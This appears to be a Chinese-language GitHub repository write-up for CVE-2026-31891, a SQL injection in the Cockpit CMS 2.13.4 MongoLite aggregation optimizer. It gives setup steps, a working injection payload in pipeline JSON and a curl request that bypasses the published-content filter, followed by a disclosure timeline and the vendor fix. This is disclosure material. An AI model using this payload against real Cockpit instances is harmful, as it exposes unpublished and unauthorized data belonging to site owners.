ffasterss/CVE-2026-31891

GitHub: ffasterss/CVE-2026-31891

该仓库复现并详细讲解了 Cockpit CMS MongoLite 聚合优化器中通过 toJsonExtractRaw() 触发的 SQL 注入漏洞,展示了绕过发布过滤器、跨 collection 提取数据的利用路径。

Stars: 0 | Forks: 0

# MongoLite 聚合优化器中通过 toJsonExtractRaw() 实现的 SQL 注入 - **漏洞类别**: SQL 注入 (CWE-89) - **产品**: Cockpit CMS (Core Edition) - **受影响版本**: 2.13.4 以及自引入聚合优化器以来的所有版本 - **测试的 Docker 镜像**: `cockpithq/cockpit:core-2.13.4` - **源码 Commit**: `7fe563023b7fae854c857d2e2dc0878ef28fbb5f` (标签 `2.13.4`) - **GitHub**: https://github.com/Cockpit-HQ/Cockpit - **发现日期**: 2026-02-28 - **CVSS 评分**: 7.7 (高危) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` ## 1. 摘要 在 Cockpit CMS (Core Edition 2.13.4 版本) 中发现了 SQL 注入漏洞。该漏洞存在于 `MongoLite` 聚合优化器中,具体位于 `toJsonExtractRaw()` 方法。用户控制的字段名在未经适当清理的情况下被直接拼接到 SQL 查询中。 拥有 Content Model 读取权限(通过 API key)的已认证攻击者可以通过 `/api/content/aggregate/{model}` REST 端点在聚合管道中注入任意 SQL 命令。 此缺陷使攻击者能够: - 绕过预期的已发布内容过滤器(`_state=1`)以读取未发布的草稿。 - 从同一个 SQLite 数据库的任何 collection 中提取完整的文档内容。 - 通过 `sqlite_master` 枚举内部数据库结构。 ## 2. 分步漏洞复现 以下步骤演示了攻击者如何绕过 `_state=1` 授权过滤器。 ### 前置条件 - Cockpit CMS 2.13.4 或更低版本 - 拥有至少对一个内容 collection model 读取权限的 API key。 ### 2.1: 配置 content model 1. 以管理员身份登录 Cockpit CMS 管理面板。 2. 导航到 Content > Models 并创建一个名为 `testcol` 的新 model。 3. 向该 model 添加两个 Text 字段:`title` 和 `body`。 *截图:设置 `testcol` content model* ![Setting up the testcol content model](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dbb6ef9186095203.png) ### 2.2: 配置 API 角色和密钥 1. 导航到 Settings > Roles。 2. 创建或修改一个角色(例如 `MasterRole`),使其对 `testcol` model 拥有 *READ* 权限。 *截图:配置 collection 的角色权限* ![Configuring Role permissions for the collection](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/020932e3b4095233.png) 3. 导航到 Settings > API & Security (API Keys)。 4. 添加一个新的 API key 并分配您刚刚配置的 `MasterRole`。复制该 key 的值(例如 `API-b8e8...`)。 *截图:设置具有读取访问权限角色的 API Key* ![Setting up the API Key with the read-access role](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/5642b32fd8095243.png) ### 2.3: 创建示例内容(包括秘密草稿) 1. 前往 Content > testcol。 2. 创建一个标题为 `Public` 的条目,并将其状态设置为 PUBLISHED(绿色图标)。 3. 创建第二个标题为 `SECRET_DRAFT` 的条目,并将其状态设置为 UNPUBLISHED(红色图标)。 *截图:显示一个已发布和一个未发布条目的列表* ![The items list showing one published and one unpublished item](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d4030d2d37095254.png) ### 2.4: 执行漏洞利用 默认情况下,标准 API 查询只会返回状态为 Published 的内容。但是,通过在聚合管道中注入 SQL,可以绕过已发布内容过滤器。 1. 构造以下 payload。该 payload 突破了 `json_extract()` SQL 函数,并附加了一个 SQL 注释 `--` 来抵消尾部的 SQL,专门针对限制结果为已发布条目的 `WHERE` 子句。 **注入字段:** ``` $title') as _id FROM collections_testcol-- ``` **完整 Pipeline JSON:** ``` [{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}] ``` 2. 对 pipeline JSON 进行 URL 编码,并通过浏览器(或 curl)向 `/api/content/aggregate/testcol` 端点发送 GET 请求。确保将 `YOUR_API_KEY` 替换为在步骤 2.2 中生成的 key: ``` curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D" ``` ### 2.5: 漏洞验证 如下面的最终截图所示,API 响应成功返回了 `SECRET_DRAFT` 条目,尽管它被明确标记为 UNPUBLISHED。这证实了 SQL 注入绕过了应用程序的核心授权机制,并允许通过 API 提取未授权的数据。 *截图:成功提取未发布的 'SECRET_DRAFT' 数据* ![Successful extraction of the unpublished 'SECRET_DRAFT' data](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/615c34eef0095304.png) ## 3. 影响 -- 后果 在典型的 headless CMS 部署中,公开只读 API key 通常被嵌入/硬编码在前端 JavaScript 中。通过公共 API 端点利用此漏洞,攻击者可以: - 绕过已发布内容过滤器以读取未发布的草稿、归档条目和隐藏内容。 - 读取同一个 `content.sqlite` 数据库中的所有内容 collection,包括 API key 未被授权访问的 collection。 - 通过 `sqlite_master` 枚举数据库结构,以发现所有表名和结构。 ## 4. 披露时间线 | 日期 | 操作 | | ---------- | --------------------------------------------------------------------------------------------------- | | 2026-02-28 | 在授权安全研究中发现漏洞 | | 2026-03-02 | 向厂商提交报告 | | 2026-03-02 | 厂商修复 -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0 | | 2026-03-09 | 补丁发布 v 2.13.5 -- https://getcockpit.com/releases | ## 附录: - https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628 - https://www.cve.org/CVERecord?id=CVE-2026-31891
标签:API安全, CISA项目, CMS漏洞, Cockpit CMS, CVSS 7.7, CWE-89, JSON输出, MongoLite, OpenVAS, PHP, PNNL实验室, SQLite注入, SQL注入漏洞, Web安全, 内容管理系统, 安全漏洞, 未授权访问, 演示模式, 聚合优化器, 蓝队分析, 请求拦截, 输入验证缺失